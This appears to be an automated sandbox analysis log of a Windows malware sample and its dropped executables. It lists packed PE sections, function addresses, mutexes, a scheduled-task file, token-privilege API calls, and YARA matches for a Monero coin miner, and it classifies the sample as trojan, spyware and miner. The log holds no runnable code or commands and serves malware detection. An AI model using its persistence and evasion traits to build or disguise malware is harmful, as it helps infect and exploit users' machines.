Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: 5b6b36c534.exe.5.dr	Static PE information: section name:
Source: 5b6b36c534.exe.5.dr	Static PE information: section name: .idata
Source: 5b6b36c534.exe.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: random[2].exe0.5.dr	Static PE information: section name: .idata
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: 93121e2127.exe.5.dr	Static PE information: section name:
Source: 93121e2127.exe.5.dr	Static PE information: section name: .idata
Source: 93121e2127.exe.5.dr	Static PE information: section name:
Source: random[2].exe1.5.dr	Static PE information: section name:
Source: random[2].exe1.5.dr	Static PE information: section name: .idata
Source: random[2].exe1.5.dr	Static PE information: section name:
Source: f43f43fc7e.exe.5.dr	Static PE information: section name:
Source: f43f43fc7e.exe.5.dr	Static PE information: section name: .idata
Source: f43f43fc7e.exe.5.dr	Static PE information: section name:
Source: random[3].exe.5.dr	Static PE information: section name:
Source: random[3].exe.5.dr	Static PE information: section name: .idata
Source: 1d6483dfc2.exe.5.dr	Static PE information: section name:
Source: 1d6483dfc2.exe.5.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 14_2_00C096AC: free,GetFileInformationByHandle,DeviceIoControl,free,free,memmove,free,

14_2_00C096AC

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D678BB	0_2_00D678BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D67049	0_2_00D67049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D68860	0_2_00D68860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D631A8	0_2_00D631A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E37B6E	0_2_00E37B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D24B30	0_2_00D24B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D24DE0	0_2_00D24DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D62D10	0_2_00D62D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D6779B	0_2_00D6779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D57F36	0_2_00D57F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00F078BB	2_2_00F078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00F08860	2_2_00F08860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00F07049	2_2_00F07049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00F031A8	2_2_00F031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EC4B30	2_2_00EC4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EC4DE0	2_2_00EC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00F02D10	2_2_00F02D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00F0779B	2_2_00F0779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EF7F36	2_2_00EF7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00F078BB	3_2_00F078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00F08860	3_2_00F08860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00F07049	3_2_00F07049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00F031A8	3_2_00F031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00EC4B30	3_2_00EC4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00EC4DE0	3_2_00EC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00F02D10	3_2_00F02D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00F0779B	3_2_00F0779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00EF7F36	3_2_00EF7F36
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C2F13E	14_2_00C2F13E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C224C0	14_2_00C224C0
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C25458	14_2_00C25458
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C247AC	14_2_00C247AC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C48817	14_2_00C48817
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C10DCC	14_2_00C10DCC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C0F1B4	14_2_00C0F1B4
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C0B114	14_2_00C0B114
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C1C278	14_2_00C1C278
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C32578	14_2_00C32578
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C43528	14_2_00C43528
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C3066E	14_2_00C3066E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C2D66C	14_2_00C2D66C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C1D858	14_2_00C1D858
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C379DC	14_2_00C379DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C449A5	14_2_00C449A5
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C399B8	14_2_00C399B8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C2694C	14_2_00C2694C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C3FA0C	14_2_00C3FA0C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C4DA30	14_2_00C4DA30
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C18CA8	14_2_00C18CA8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C17C68	14_2_00C17C68
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C4DC11	14_2_00C4DC11
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C4DD00	14_2_00C4DD00
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C26E08	14_2_00C26E08
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C1AF58	14_2_00C1AF58
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C08F18	14_2_00C08F18
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002C17D0	20_2_002C17D0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002C1000	20_2_002C1000
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002D1A10	20_2_002D1A10
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002D0422	20_2_002D0422
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002C3C05	20_2_002C3C05
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002C5C52	20_2_002C5C52
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002D566E	20_2_002D566E
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002C1000	40_2_002C1000
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002D1A10	40_2_002D1A10
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002D0422	40_2_002D0422
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002C3C05	40_2_002C3C05
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002C5C52	40_2_002C5C52
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002D566E	40_2_002D566E
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002C17D0	40_2_002C17D0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0040A960	40_2_0040A960
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004087F0	40_2_004087F0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00425F7D	40_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00409070	40_2_00409070
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043A030	40_2_0043A030
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004038C0	40_2_004038C0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004380D9	40_2_004380D9
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0041D8E0	40_2_0041D8E0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0042D085	40_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004280B0	40_2_004280B0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00426170	40_2_00426170
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0042297F	40_2_0042297F
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0042A100	40_2_0042A100
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00437900	40_2_00437900
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00416E97	40_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00405910	40_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00425920	40_2_00425920
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004301D0	40_2_004301D0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004081F0	40_2_004081F0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00408990	40_2_00408990
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00417190	40_2_00417190
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00414A40	40_2_00414A40
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0041BA48	40_2_0041BA48
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0040CA54	40_2_0040CA54
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00404270	40_2_00404270
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00422270	40_2_00422270
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00406200	40_2_00406200
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00423A00	40_2_00423A00
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043CAC0	40_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043E2C0	40_2_0043E2C0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004292D0	40_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00415ADC	40_2_00415ADC
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0042BA8D	40_2_0042BA8D
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0040E2A9	40_2_0040E2A9
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004192BA	40_2_004192BA
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0040B351	40_2_0040B351
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0041CB5A	40_2_0041CB5A
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00409360	40_2_00409360
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0041C360	40_2_0041C360
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00416B7E	40_2_00416B7E
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00411B1B	40_2_00411B1B
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043533A	40_2_0043533A
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043CBD6	40_2_0043CBD6
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043A3F0	40_2_0043A3F0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00439B90	40_2_00439B90
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00404BA0	40_2_00404BA0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004233A0	40_2_004233A0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00436C40	40_2_00436C40
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0040D44C	40_2_0040D44C
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00434C4D	40_2_00434C4D
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00407470	40_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00419C10	40_2_00419C10
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00418C1E	40_2_00418C1E
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0041D420	40_2_0041D420
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0041DC20	40_2_0041DC20
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00436430	40_2_00436430
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043CAC0	40_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043CAC0	40_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043CCE0	40_2_0043CCE0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043DCF0	40_2_0043DCF0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00422CF8	40_2_00422CF8
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00427C9D	40_2_00427C9D
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043CD60	40_2_0043CD60
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00416571	40_2_00416571
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00424D70	40_2_00424D70
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00423D30	40_2_00423D30
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004215F0	40_2_004215F0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0041DE40	40_2_0041DE40
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00423E4B	40_2_00423E4B
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00405E60	40_2_00405E60
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00412670	40_2_00412670
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00425670	40_2_00425670
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0041AE00	40_2_0041AE00
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043CE00	40_2_0043CE00
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00423E30	40_2_00423E30
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004156D0	40_2_004156D0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0042C6D7	40_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00415EE0	40_2_00415EE0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004266E7	40_2_004266E7
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00406690	40_2_00406690
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043E690	40_2_0043E690
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00436690	40_2_00436690
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00416E97	40_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00402EA0	40_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004376B0	40_2_004376B0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00426EBE	40_2_00426EBE
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00428F5D	40_2_00428F5D
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0042B763	40_2_0042B763
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00425F7D	40_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00414F08	40_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00420717	40_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00418731	40_2_00418731
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0041EF30	40_2_0041EF30
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0042BFD3	40_2_0042BFD3
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00410FD6	40_2_00410FD6
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0042BFDA	40_2_0042BFDA
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00436F90	40_2_00436F90
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004167A5	40_2_004167A5
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00418FAD	40_2_00418FAD
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_004097B0	40_2_004097B0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043DFB0	40_2_0043DFB0

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00EDDF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ED80C0 appears 260 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00D380C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: String function: 00414A30 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: String function: 002C9DFF appears 36 times
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: String function: 00408000 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: String function: 002C3BC0 appears 68 times

Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6372 -s 916

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 36.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 36.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: file.exe	Static PE information: Section: ZLIB complexity 0.998451336852861
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998451336852861
Source: 5b6b36c534.exe.5.dr	Static PE information: Section: olqvxqrc ZLIB complexity 0.9945133214534075
Source: random[1].exe0.5.dr	Static PE information: Section: olqvxqrc ZLIB complexity 0.9945133214534075
Source: random[2].exe0.5.dr	Static PE information: Section: ZLIB complexity 0.9975251498287672
Source: random[2].exe0.5.dr	Static PE information: Section: oxelpjbe ZLIB complexity 0.9946053361491747
Source: 93121e2127.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9975251498287672
Source: 93121e2127.exe.5.dr	Static PE information: Section: oxelpjbe ZLIB complexity 0.9946053361491747
Source: random[2].exe1.5.dr	Static PE information: Section: kbusnrxz ZLIB complexity 0.9948743793587023
Source: f43f43fc7e.exe.5.dr	Static PE information: Section: kbusnrxz ZLIB complexity 0.9948743793587023
Source: random[1].exe2.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe2.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: 47760e826c.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: 47760e826c.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388

Source: random[2].exe0.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 93121e2127.exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 1d6483dfc2.exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[3].exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: random[2].exe.5.dr, cae530d24e7bf71b77f301796d10b0911.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
Source: 8cb1e32b25.exe.5.dr, cae530d24e7bf71b77f301796d10b0911.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@90/58@34/10

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C0AC74 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		14_2_00C0AC74
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C11D04 GetCurrentProcess,CloseHandle,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,		14_2_00C11D04

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 14_2_00C0ABB0 GetModuleHandleW,GetProcAddress,GetDiskFreeSpaceW,

14_2_00C0ABB0

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe

Code function: 40_2_00430A6C CoCreateInstance,

40_2_00430A6C

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1456:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6372
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6708:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6356:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4884:120:WilError_03
